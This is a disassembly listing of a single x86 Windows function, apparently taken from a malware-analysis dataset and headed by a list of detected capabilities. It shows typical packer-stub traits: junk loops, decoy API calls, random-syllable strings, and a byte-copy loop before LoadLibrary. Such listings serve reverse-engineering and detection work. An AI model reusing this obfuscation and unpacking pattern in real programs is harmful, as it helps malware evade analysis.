Function at 0x407579
Capabilities:
Copy file
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1854
call fcn.00407160
mov eax, dword [0x443008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
xor eax, eax
cmp eax, 0x180
jne 0x4075ae
mov ecx, dword [0x446454]
add ecx, 0xa231
mov dword [0x1bbd3d4], ecx
cmp dword [0x1bbd3d4], 0x141
jne 0x4075cb
or dword [0x44702c], 0xffffffff
mov dword [0x447028], 0xec58acac
inc eax
cmp eax, 0x12376ec
jl 0x407595
push edi
xor edi, edi
cmp edi, 0x562d05
jne 0x4075e8
mov eax, dword [0x443c48]
mov dword [0x1bbd504], eax
cmp dword [0x1bbd3d4], 0x3c
jne 0x4075f8
push esi
call dword [sym.imp.KERNEL32.dll_LocalLock]
inc edi
cmp edi, 0x5f6c74
jl 0x4075d6
cmp dword [0x1bbd3d4], 0x7c
jne 0x4076b5
lea eax, [ebp - 0x1844]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea eax, [ebp - 0x181c]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor eax, eax
mov word [ebp - 0x1834], ax
lea edi, [ebp - 0x1832]
stosw word es:[edi], ax
mov word [ebp - 0x1830], ax
lea edi, [ebp - 0x182e]
stosw word es:[edi], ax
lea eax, [ebp - 0x184c]
push eax
push dword [ebp - 0x1830]
lea eax, [ebp - 0x1838]
push dword [ebp - 0x1834]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push esi
lea eax, [ebp - 0x1004]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
lea eax, [ebp - 0x1840]
push eax
mov dword [ebp - 0x1840], esi
mov dword [ebp - 0x183c], esi
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push esi
call fcn.004013a8
pop ecx
cmp dword [0x1bbd3d4], 0x110a
jne 0x407793
push esi
mov dword [0x1bbd3c8], esi
mov dword [0x1bbd3cc], esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
lea eax, [ebp - 0x1838]
push eax
lea eax, [ebp - 0xc04]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor eax, eax
mov word [ebp - 0x1854], ax
lea edi, [ebp - 0x1852]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x1804]
push eax
push str.zisupudugipunimapayihivanan_zahagoveruxu
lea eax, [ebp - 0x1854]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
push str.jowowati_yayarijo_tof_gakehucojojizecip
push str.karegociticudigezijoni_vuc_hat_tigucizibabofarodezak
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.hejiyet
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
push esi
push esi
lea eax, [ebp - 0x804]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push esi
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push esi
call fcn.004012de
push esi
call fcn.004012de
xor eax, eax
push esi
mov dword [ebp - 0x1808], 7
mov dword [ebp - 0x180c], esi
mov word [ebp - 0x181c], ax
call fcn.004012de
push esi
call fcn.0040123b
add esp, 0x10
push esi
call fcn.0040165e
call fcn.004072d4
xor ecx, ecx
cmp dword [0x1bbd3d4], esi
jbe 0x4077e5
mov eax, dword [0x1bbd504]
mov dword [ebp - 0x1830], eax
mov eax, 0xa231
add dword [ebp - 0x1830], eax
mov eax, dword [ebp - 0x1830]
mov al, byte [eax + ecx]
mov edx, dword [0x1bbd21c]
mov byte [edx + ecx], al
mov eax, dword [0x1bbd3d4]
cmp eax, 0x5ab
jne 0x4077e0
mov dword [0x1bbd220], 0x19b0
inc ecx
cmp ecx, eax
jb 0x4077a2
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00407329
call fcn.0040730b
call fcn.00407508
xor eax, eax
cmp eax, 0xd606b
jne 0x40780d
call fcn.00407300
inc eax
cmp eax, 0x24e87d
jl 0x407801
mov edi, 0x1e4165
cmp dword [0x1bbd3d4], 0xcc1
jne 0x40782f
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
cmp dword [0x1bbd3d4], 0x7c4
mov dword [0x1bbd224], 0x8e46a6f0
jne 0x40784d
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
dec edi
jne 0x40781a
pop edi
cmp esi, 0x408e
jle 0x407865
cmp dword [ebp - 0x1824], 0xf5bed7
jne 0x40786e
inc esi
cmp esi, 0x687ed2
jl 0x407851
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401000
leave
ret